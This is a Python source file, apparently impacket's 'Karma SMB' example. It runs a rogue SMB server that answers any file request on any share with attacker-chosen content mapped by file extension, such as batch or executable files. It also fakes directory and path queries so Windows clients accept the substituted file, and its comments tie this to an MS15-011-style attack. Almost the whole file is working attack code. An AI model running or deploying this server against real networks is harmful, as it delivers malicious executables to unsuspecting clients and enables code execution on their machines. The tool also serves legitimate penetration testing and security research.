#!/usr/bin/python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Karma SMB
#
# Author:
#  Alberto Solino (@agsolino) 
#  Original idea by @mubix
#
# Description:
#   The idea of this script is to answer any file read request
#   with a set of predefined contents based on the extension 
#   asked, regardless of the sharename and/or path.
#   When executing this script w/o a config file the pathname 
#   file contents will be sent for every request. 
#   If a config file is specified, format should be this way:
#      <extension> = <pathname>
#   for example:
#      bat = /tmp/batchfile
#      com = /tmp/comfile
#      exe = /tmp/exefile
#
#   The SMB2 support works with a caveat. If two different
#   filenames at the same share are requested, the first
#   one will work and the second one will not work if the request
#   is performed right away. This seems related to the 
#   QUERY_DIRECTORY request, where we return the files available.
#   In the first try, we return the file that was asked to open.
#   In the second try, the client will NOT ask for another 
#   QUERY_DIRECTORY but will use the cached one. This time the new file
#   is not there, so the client assumes it doesn't exist.
#   After a few seconds, looks like the client cache is cleared and
#   the operation works again. Further research is needed trying
#   to avoid this from happening.
#
#   SMB1 seems to be working fine on that scenario.
#
#   ToDo:
#   [ ] A lot of testing needed under different OSes. 
#       I'm still not sure how reliable this approach is.
#   [ ] Add support for other SMB read commands. Right now just
#       covering SMB_COM_NT_CREATE_ANDX
#   [ ] Disable write request, now if the client tries to copy 
#       a file back to us, it will overwrite the files we're 
#       hosting. *CAREFUL!!!*
#


import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
from threading import Thread

from impacket.examples import logger
from impacket import smbserver, smb, version
import impacket.smb3structs as smb2
from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
    STATUS_OBJECT_PATH_NOT_FOUND
from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
    getFileTime, queryPathInformation


class KarmaSMBServer(Thread):
    def __init__(self, smb2Support = False):
        Thread.__init__(self)
        self.server = 0
        self.defaultFile = None
        self.extensions = {}

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file','smb.log')
        smbConfig.set('global','credentials_file','')

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','Logon server share')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        # NETLOGON always needed
        smbConfig.add_section('NETLOGON')
        smbConfig.set('NETLOGON','comment','Logon server share')
        smbConfig.set('NETLOGON','read only','no')
        smbConfig.set('NETLOGON','share type','0')
        smbConfig.set('NETLOGON','path','')

        # SYSVOL always needed
        smbConfig.add_section('SYSVOL')
        smbConfig.set('SYSVOL','comment','')
        smbConfig.set('SYSVOL','read only','no')
        smbConfig.set('SYSVOL','share type','0')
        smbConfig.set('SYSVOL','path','')

        if smb2Support:
            smbConfig.set("global", "SMB2Support", "True")

        self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
        self.server.processConfigFile()

        # Unregistering some dangerous and unwanted commands
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)

        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
        self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
        self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)

        # And the same for SMB2
        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
        self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
        self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
        self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)

        # Now we have to register the MS-SRVS server. This specially important for 
        # Windows 7+ and Mavericks clients since they WONT (specially OSX) 
        # ask for shares using MS-RAP.

        self.__srvsServer = SRVSServer()
        self.__srvsServer.daemon = True
        self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))

    def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
        origFileName = os.path.basename(origPathName)

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile

        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = connData['ConnectedShares'][recvPacket['Tid']]['path']

            # 2. We call the normal findFirst2 call, but with our targetFile
            searchResult, searchCount, errorCode = findFirst2(path, 
                          targetFile, 
                          findFirst2Parameters['InformationLevel'], 
                          findFirst2Parameters['SearchAttributes'] )

            respParameters = smb.SMBFindFirst2Response_Parameters()
            endOfSearch = 1
            sid = 0x80 # default SID
            searchCount = 0
            totalData = 0
            for i in enumerate(searchResult):
                #i[1].dump()
                try:
                    # 3. And we restore the original filename requested ;)
                    i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
                except:
                    pass

                data = i[1].getData()
                lenData = len(data)
                if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
                    # We gotta stop here and continue on a find_next2
                    endOfSearch = 0
                    # Simple way to generate a fid
                    if len(connData['SIDs']) == 0:
                       sid = 1
                    else:
                       sid = connData['SIDs'].keys()[-1] + 1
                    # Store the remaining search results in the ConnData SID
                    connData['SIDs'][sid] = searchResult[i[0]:]
                    respParameters['LastNameOffset'] = totalData
                    break
                else:
                    searchCount +=1
                    respData += data
                    totalData += lenData
                    

            respParameters['SID'] = sid
            respParameters['EndOfSearch'] = endOfSearch
            respParameters['SearchCount'] = searchCount
        else:
            errorCode = STATUS_SMB_BAD_TID   

        smbServer.setConnectionData(connId, connData)

        return respSetup, respParameters, respData, errorCode

    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
        ntCreateAndXData       = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])

        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)

        #ntCreateAndXParameters.dump()

        # Let's try to avoid allowing write requests from the client back to us
        # not 100% bulletproof, plus also the client might be using other SMB
        # calls (e.g. SMB_COM_WRITE)
        createOptions =  ntCreateAndXParameters['CreateOptions']
        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
            errorCode = STATUS_ACCESS_DENIED
        else:
            errorCode = STATUS_SUCCESS

        if errorCode == STATUS_ACCESS_DENIED:
            return [respSMBCommand], None, errorCode

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile
        
        # 2. We change the filename in the request for our targetFile
        ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
        SMBCommand['Data'] = str(ntCreateAndXData)
        smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)

        # 3. We call the original call with our modified data
        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)

    def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
        # The trick we play here is that Windows clients first ask for the file
        # and then it asks for the directory containing the file.
        # It is important to answer the right questions for the attack to work
        
        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        errorCode = 0

        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)

        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = ''
            try:
               origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
               origPathName = os.path.normpath(origPathName.replace('\\','/'))

               if connData.has_key('MS15011') is False:
                   connData['MS15011'] = {}

               smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
               if connData['MS15011'].has_key(origPathName) or origPathName == '.':
                   # We already processed this entry, now it's asking for a directory
                   infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
               else:
                   # First time asked, asking for the file
                   infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
                   connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
            except Exception, e:
               #import traceback
               #traceback.print_exc()
               smbServer.log("queryPathInformation: %s" % e,logging.ERROR)

            if infoRecord is not None:
                respParameters = smb.SMBQueryPathInformationResponse_Parameters()
                respData = infoRecord
        else:
            errorCode = STATUS_SMB_BAD_TID
           
        smbServer.setConnectionData(connId, connData)

        return respSetup, respParameters, respData, errorCode

    def smb2Read(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)
        connData['MS15011']['StopConnection'] = True
        smbServer.setConnectionData(connId, connData)
        return self.origsmb2Read(connId, smbServer, recvPacket)
 
    def smb2Close(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)
        # We're closing the connection trying to flush the client's
        # cache.
        if connData['MS15011']['StopConnection'] is True:
            return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
        return self.origsmb2Close(connId, smbServer, recvPacket)

    def smb2Create(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)

        ntCreateRequest       = smb2.SMB2Create(recvPacket['Data'])

        # Let's try to avoid allowing write requests from the client back to us
        # not 100% bulletproof, plus also the client might be using other SMB
        # calls 
        createOptions =  ntCreateRequest['CreateOptions']
        if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
            errorCode = STATUS_ACCESS_DENIED
        else:
            errorCode = STATUS_SUCCESS

        if errorCode == STATUS_ACCESS_DENIED:
            return [smb2.SMB2Error()], None, errorCode

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        # Are we being asked for a directory?
        if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
            if self.extensions.has_key(origPathNameExtension.upper()):
                targetFile = self.extensions[origPathNameExtension.upper()]
            else:
                targetFile = self.defaultFile
            connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
            smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
        else:
            targetFile = '/'
        
        # 2. We change the filename in the request for our targetFile
        try:
            ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
        except UnicodeDecodeError:
            import sys
            ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
        ntCreateRequest['NameLength'] = len(targetFile)*2
        recvPacket['Data'] = str(ntCreateRequest)

        # 3. We call the original call with our modified data
        return self.origsmb2Create(connId, smbServer, recvPacket)

    def smb2QueryDirectory(self, connId, smbServer, recvPacket):
        # Windows clients with SMB2 will also perform a QueryDirectory
        # expecting to get the filename asked. So we deliver it :)
        connData = smbServer.getConnectionData(connId)

        respSMBCommand = smb2.SMB2QueryDirectory_Response()
        #queryDirectoryRequest   = smb2.SMB2QueryDirectory(recvPacket['Data'])

        errorCode = 0xff
        respSMBCommand['Buffer'] = '\x00' 

        errorCode = STATUS_SUCCESS

        #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
        #    return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED

        if connData['MS15011']['FindDone'] is True:
            
            connData['MS15011']['FindDone'] = False
            smbServer.setConnectionData(connId, connData)
            return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES 
        else:
            origName, targetFile =  connData['MS15011']['FileData']
            (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)

            infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
            infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE

            infoRecord['EaSize']            = 0
            infoRecord['EndOfFile']         = size
            infoRecord['AllocationSize']    = size
            infoRecord['CreationTime']      = getFileTime(ctime)
            infoRecord['LastAccessTime']    = getFileTime(atime)
            infoRecord['LastWriteTime']     = getFileTime(mtime)
            infoRecord['LastChangeTime']    = getFileTime(mtime)
            infoRecord['ShortName']         = '\x00'*24
            #infoRecord['FileName']          = os.path.basename(origName).encode('utf-16le')
            infoRecord['FileName']          = origName.encode('utf-16le')
            padLen = (8-(len(infoRecord) % 8)) % 8
            infoRecord['NextEntryOffset']   = 0

            respSMBCommand['OutputBufferOffset'] = 0x48
            respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
            respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
            connData['MS15011']['FindDone'] = True

        smbServer.setConnectionData(connId, connData)
        return [respSMBCommand], None, errorCode

    def smb2TreeConnect(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)

        respPacket = smb2.SMB2Packet()
        respPacket['Flags']     = smb2.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status']    = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command']   = recvPacket['Command']
        respPacket['SessionID'] = connData['Uid']
        respPacket['Reserved']  = recvPacket['Reserved']
        respPacket['MessageID'] = recvPacket['MessageID']
        respPacket['TreeID']    = recvPacket['TreeID']

        respSMBCommand        = smb2.SMB2TreeConnect_Response()

        treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])

        errorCode = STATUS_SUCCESS

        ## Process here the request, does the share exist?
        path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
        UNCOrShare = path.decode('utf-16le')

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # We won't search for the share.. all of them exist :P
        #share = searchShare(connId, path.upper(), smbServer) 
        connData['MS15011'] = {}
        connData['MS15011']['FindDone'] = False
        connData['MS15011']['StopConnection'] = False
        share = {}
        if share is not None:
            # Simple way to generate a Tid
            if len(connData['ConnectedShares']) == 0:
               tid = 1
            else:
               tid = connData['ConnectedShares'].keys()[-1] + 1
            connData['ConnectedShares'][tid] = share
            connData['ConnectedShares'][tid]['path'] = '/'
            connData['ConnectedShares'][tid]['shareName'] = path
            respPacket['TreeID']    = tid
            #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
        else:
            smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
            errorCode = STATUS_OBJECT_PATH_NOT_FOUND
            respPacket['Status'] = errorCode
        ##

        if path == 'IPC$':
            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
            respSMBCommand['ShareFlags'] = 0x30
        else:
            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
            respSMBCommand['ShareFlags'] = 0x0

        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaximalAccess'] = 0x011f01ff

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], errorCode

    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()
        respData              = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()

        treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        errorCode = STATUS_SUCCESS

        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # We won't search for the share.. all of them exist :P
        smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
        #share = searchShare(connId, path, smbServer) 
        share = {}
        # Simple way to generate a Tid
        if len(connData['ConnectedShares']) == 0:
           tid = 1
        else:
           tid = connData['ConnectedShares'].keys()[-1] + 1
        connData['ConnectedShares'][tid] = share
        connData['ConnectedShares'][tid]['path'] = '/'
        connData['ConnectedShares'][tid]['shareName'] = path
        resp['Tid'] = tid
        #smbServer.log("Connecting Share(%d:%s)" % (tid,path))

        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS

        if path == 'IPC$':
            respData['Service']               = 'IPC'
        else:
            respData['Service']               = path
        respData['PadLen']                = 0
        respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' )

        respSMBCommand['Parameters']             = respParameters
        respSMBCommand['Data']                   = respData 

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode

    def _start(self):
        self.server.serve_forever()

    def run(self):
        logging.info("Setting up SMB Server")
        self._start()

    def setDefaultFile(self, filename):
        self.defaultFile = filename

    def setExtensionsConfig(self, filename):
        for line in filename.readlines():
            line = line.strip('\r\n ')
            if line.startswith('#') is not True and len(line) > 0:
                extension, pathName = line.split('=')
                self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())

# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print version.BANNER
    parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will return the pathname contents")
    parser.add_argument("--help", action="help", help='show this help message and exit')
    parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB clients")
    parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map extensions to files to deliver. For those extensions not present, pathname will be delivered')
    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')


    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    try:
       options = parser.parse_args()
    except Exception, e:
       logging.critical(str(e))
       sys.exit(1)

    s = KarmaSMBServer(options.smb2support)
    s.setDefaultFile(os.path.normpath(options.fileName))
    if options.config is not None:
        s.setExtensionsConfig(options.config)

    s.start()
        
    logging.info("Servers started, waiting for connections")
    while True:
        try:
            sys.stdin.read()
        except KeyboardInterrupt:
            sys.exit(1)
        else:
            pass

